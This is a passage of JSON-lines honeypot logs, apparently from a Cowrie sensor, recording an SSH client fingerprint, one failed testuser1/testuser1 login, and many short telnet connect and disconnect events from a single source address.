keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:21.198639Z","src_ip":"4.213.160.153","session":"8777a320bafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"testuser1","message":"login attempt [testuser1/testuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:21.953655Z","src_ip":"4.213.160.153","session":"8777a320bafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.395047187805176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:22.382618Z","src_ip":"50.6.3.16","session":"fed7f214f373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77310800552368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:22.663074Z","src_ip":"50.6.3.16","session":"69c794495561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c587ba83edd","protocol":"telnet","message":"New connection: 50.6.3.16:38214 (10.17.0.5:23) [session: 6c587ba83edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:22.890449Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:23.146690Z","src_ip":"4.213.160.153","session":"8777a320bafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60416293144226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:23.772028Z","src_ip":"50.6.3.16","session":"0d4532f9bb11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249436140060425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:23.978237Z","src_ip":"50.6.3.16","session":"69e1a2c0db7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723518133163452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:24.794372Z","src_ip":"50.6.3.16","session":"b87aca8259b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0777325630188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:25.269181Z","src_ip":"50.6.3.16","session":"4c5f057a7719","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"146f3e56d9b0","protocol":"telnet","message":"New connection: 50.6.3.16:38230 (10.17.0.5:23) [session: 146f3e56d9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:25.762724Z"}
{"eventid":"cowrie.session.closed","duration":30.37361788749695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:26.827529Z","src_ip":"50.6.3.16","session":"cd3411d09ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07585334777832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:27.381241Z","src_ip":"50.6.3.16","session":"1cce6f5a3531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.221336364746094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:27.594490Z","src_ip":"50.6.3.16","session":"3757f84f3d1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9d7b53afdb","protocol":"telnet","message":"New connection: 50.6.3.16:38244 (10.17.0.5:23) [session: ed9d7b53afdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:27.600480Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55608,"dst_ip":"10.17.0.5","dst_port":23,"session":"0371fe438995","protocol":"telnet","message":"New connection: 50.6.3.16:55608 (10.17.0.5:23) [session: 0371fe438995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:28.146604Z"}
{"eventid":"cowrie.session.closed","duration":31.07405138015747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:28.180309Z","src_ip":"50.6.3.16","session":"c4e45c5b2c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55610,"dst_ip":"10.17.0.5","dst_port":23,"session":"340a11486d85","protocol":"telnet","message":"New connection: 50.6.3.16:55610 (10.17.0.5:23) [session: 340a11486d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:28.531757Z"}
{"eventid":"cowrie.session.closed","duration":31.08094596862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:29.706420Z","src_ip":"50.6.3.16","session":"30d5adc1f761","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524802923202515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:29.957803Z","src_ip":"50.6.3.16","session":"c83de7cbdfad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"be62c9ec6cfd","protocol":"telnet","message":"New connection: 50.6.3.16:55626 (10.17.0.5:23) [session: be62c9ec6cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:30.365419Z"}
{"eventid":"cowrie.session.closed","duration":30.10534358024597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:30.593886Z","src_ip":"50.6.3.16","session":"0fb71d90ff33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55640,"dst_ip":"10.17.0.5","dst_port":23,"session":"573e76227a59","protocol":"telnet","message":"New connection: 50.6.3.16:55640 (10.17.0.5:23) [session: 573e76227a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:31.359768Z"}
{"eventid":"cowrie.session.closed","duration":31.420767307281494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:31.436889Z","src_ip":"50.6.3.16","session":"d40b1b3f8281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1dd1aaa2afb","protocol":"telnet","message":"New connection: 50.6.3.16:55632 (10.17.0.5:23) [session: b1dd1aaa2afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:31.502911Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"689268e2a5d6","protocol":"telnet","message":"New connection: 50.6.3.16:55652 (10.17.0.5:23) [session: 689268e2a5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:31.553938Z"}
{"eventid":"cowrie.session.closed","duration":31.086644649505615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:32.663773Z","src_ip":"50.6.3.16","session":"c671085d9bdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55666,"dst_ip":"10.17.0.5","dst_port":23,"session":"622dd3eff3d8","protocol":"telnet","message":"New connection: 50.6.3.16:55666 (10.17.0.5:23) [session: 622dd3eff3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:32.701629Z"}
{"eventid":"cowrie.session.closed","duration":30.583674907684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:32.913096Z","src_ip":"50.6.3.16","session":"b5c0826ac342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55674,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e92ded1ef1","protocol":"telnet","message":"New connection: 50.6.3.16:55674 (10.17.0.5:23) [session: a1e92ded1ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:32.983950Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55688,"dst_ip":"10.17.0.5","dst_port":23,"session":"787384294bf5","protocol":"telnet","message":"New connection: 50.6.3.16:55688 (10.17.0.5:23) [session: 787384294bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:34.538124Z"}
{"eventid":"cowrie.session.closed","duration":30.42425560951233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:35.601011Z","src_ip":"50.6.3.16","session":"949bf24c6e68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075850248336792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:36.831718Z","src_ip":"50.6.3.16","session":"2f608cadca61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1421d1df940a","protocol":"telnet","message":"New connection: 50.6.3.16:55700 (10.17.0.5:23) [session: 1421d1df940a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:37.036173Z"}
{"eventid":"cowrie.session.closed","duration":30.31817364692688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:37.586352Z","src_ip":"50.6.3.16","session":"fdb583cdf92c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35752,"dst_ip":"10.17.0.5","dst_port":23,"session":"25757609b942","protocol":"telnet","message":"New connection: 50.6.3.16:35752 (10.17.0.5:23) [session: 25757609b942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:40.138225Z"}
{"eventid":"cowrie.session.closed","duration":30.069668292999268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:40.559131Z","src_ip":"50.6.3.16","session":"d21844f82789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25481081008911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:40.987542Z","src_ip":"50.6.3.16","session":"0a5cd3ce5860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1058030128479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:41.175997Z","src_ip":"50.6.3.16","session":"1dea1857daf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35754,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e38d0bcfd2b","protocol":"telnet","message":"New connection: 50.6.3.16:35754 (10.17.0.5:23) [session: 5e38d0bcfd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:41.522873Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35770,"dst_ip":"10.17.0.5","dst_port":23,"session":"e14655c922cf","protocol":"telnet","message":"New connection: 50.6.3.16:35770 (10.17.0.5:23) [session: e14655c922cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:41.841061Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35786,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b3bebf09ca3","protocol":"telnet","message":"New connection: 50.6.3.16:35786 (10.17.0.5:23) [session: 2b3bebf09ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:42.114163Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35794,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc76124427e","protocol":"telnet","message":"New connection: 50.6.3.16:35794 (10.17.0.5:23) [session: fdc76124427e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:42.335612Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35800,"dst_ip":"10.17.0.5","dst_port":23,"session":"fea089c17ed1","protocol":"telnet","message":"New connection: 50.6.3.16:35800 (10.17.0.5:23) [session: fea089c17ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:43.830807Z"}
{"eventid":"cowrie.session.closed","duration":31.191781520843506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:44.365874Z","src_ip":"50.6.3.16","session":"15f532cb48e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.52933382987976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:46.373299Z","src_ip":"50.6.3.16","session":"958096339efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112325429916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:46.658309Z","src_ip":"50.6.3.16","session":"35c04ccfcd07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8ba20da17ee","protocol":"telnet","message":"New connection: 50.6.3.16:35808 (10.17.0.5:23) [session: c8ba20da17ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:46.787827Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35820,"dst_ip":"10.17.0.5","dst_port":23,"session":"decb9e7f40d0","protocol":"telnet","message":"New connection: 50.6.3.16:35820 (10.17.0.5:23) [session: decb9e7f40d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:46.844835Z"}
{"eventid":"cowrie.session.closed","duration":31.081002712249756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:47.998223Z","src_ip":"50.6.3.16","session":"fc0e8a48af90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cda0dce56d3","protocol":"telnet","message":"New connection: 50.6.3.16:42186 (10.17.0.5:23) [session: 4cda0dce56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:51.416128Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42200,"dst_ip":"10.17.0.5","dst_port":23,"session":"3537a017f37e","protocol":"telnet","message":"New connection: 50.6.3.16:42200 (10.17.0.5:23) [session: 3537a017f37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:53.301391Z"}
{"eventid":"cowrie.session.closed","duration":31.24751353263855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:54.137818Z","src_ip":"50.6.3.16","session":"6c587ba83edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2112abb937","protocol":"telnet","message":"New connection: 50.6.3.16:42206 (10.17.0.5:23) [session: 7f2112abb937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:56.440628Z"}
{"eventid":"cowrie.session.closed","duration":31.078608512878418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:56.841233Z","src_ip":"50.6.3.16","session":"146f3e56d9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a4be7b0a19","protocol":"telnet","message":"New connection: 50.6.3.16:42210 (10.17.0.5:23) [session: b1a4be7b0a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:57.891397Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43830,"dst_ip":"10.17.0.5","dst_port":23,"session":"843bbf3a285b","protocol":"telnet","message":"New connection: 50.6.3.16:43830 (10.17.0.5:23) [session: 843bbf3a285b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:58.881053Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43842,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca7ebac724e","protocol":"telnet","message":"New connection: 50.6.3.16:43842 (10.17.0.5:23) [session: 2ca7ebac724e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:58.992913Z"}
{"eventid":"cowrie.session.closed","duration":31.542734622955322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:59.142882Z","src_ip":"50.6.3.16","session":"ed9d7b53afdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084144592285156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:59.230624Z","src_ip":"50.6.3.16","session":"0371fe438995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a1c5f51f4a","protocol":"telnet","message":"New connection: 50.6.3.16:43856 (10.17.0.5:23) [session: 92a1c5f51f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:00.078848Z"}
{"eventid":"cowrie.session.closed","duration":31.863763570785522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:00.395401Z","src_ip":"50.6.3.16","session":"340a11486d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"41211f6cc34e","protocol":"telnet","message":"New connection: 50.6.3.16:43862 (10.17.0.5:23) [session: 41211f6cc34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:00.536546Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43876,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a0c7925073","protocol":"telnet","message":"New connection: 50.6.3.16:43876 (10.17.0.5:23) [session: b9a0c7925073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:00.930884Z"}
{"eventid":"cowrie.session.closed","duration":31.088075160980225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:01.453359Z","src_ip":"50.6.3.16","session":"be62c9ec6cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723348379135132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:02.226179Z","src_ip":"50.6.3.16","session":"b1dd1aaa2afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11958885192871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:02.479263Z","src_ip":"50.6.3.16","session":"573e76227a59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08323645591736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:02.637067Z","src_ip":"50.6.3.16","session":"689268e2a5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43890,"dst_ip":"10.17.0.5","dst_port":23,"session":"72173cc71257","protocol":"telnet","message":"New connection: 50.6.3.16:43890 (10.17.0.5:23) [session: 72173cc71257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:03.258741Z"}
{"eventid":"cowrie.session.closed","duration":30.81549072265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:03.799294Z","src_ip":"50.6.3.16","session":"a1e92ded1ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.427249908447266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:04.128783Z","src_ip":"50.6.3.16","session":"622dd3eff3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43898,"dst_ip":"10.17.0.5","dst_port":23,"session":"54ba38a9b33f","protocol":"telnet","message":"New connection: 50.6.3.16:43898 (10.17.0.5:23) [session: 54ba38a9b33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:04.745422Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43908,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bd90b47c070","protocol":"telnet","message":"New connection: 50.6.3.16:43908 (10.17.0.5:23) [session: 3bd90b47c070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:05.531027Z"}
{"eventid":"cowrie.session.closed","duration":31.128251552581787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:05.666240Z","src_ip":"50.6.3.16","session":"787384294bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a705abb17bbb","protocol":"telnet","message":"New connection: 50.6.3.16:43916 (10.17.0.5:23) [session: a705abb17bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:05.913179Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":43902,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a95b97c7b19","protocol":"telnet","message":"New connection: 50.6.3.16:43902 (10.17.0.5:23) [session: 4a95b97c7b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:06.315538Z"}
{"eventid":"cowrie.session.closed","duration":30.623980045318604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:07.659991Z","src_ip":"50.6.3.16","session":"1421d1df940a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54874,"dst_ip":"10.17.0.5","dst_port":23,"session":"151a6a100227","protocol":"telnet","message":"New connection: 50.6.3.16:54874 (10.17.0.5:23) [session: 151a6a100227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:08.500893Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":54880,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7e2790671b","protocol":"telnet","message":"New connection: 50.6.3.16:54880 (10.17.0.5:23) [session: bc7e2790671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:10.108017Z"}
{"eventid":"cowrie.session.closed","duration":30.708445072174072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:10.846583Z","src_ip":"50.6.3.16","session":"25757609b942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34001135826111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:41:11.862785Z","src_ip":"50.6.3.16","session":"5e38d0bcfd2b","protocol":"telnet"}
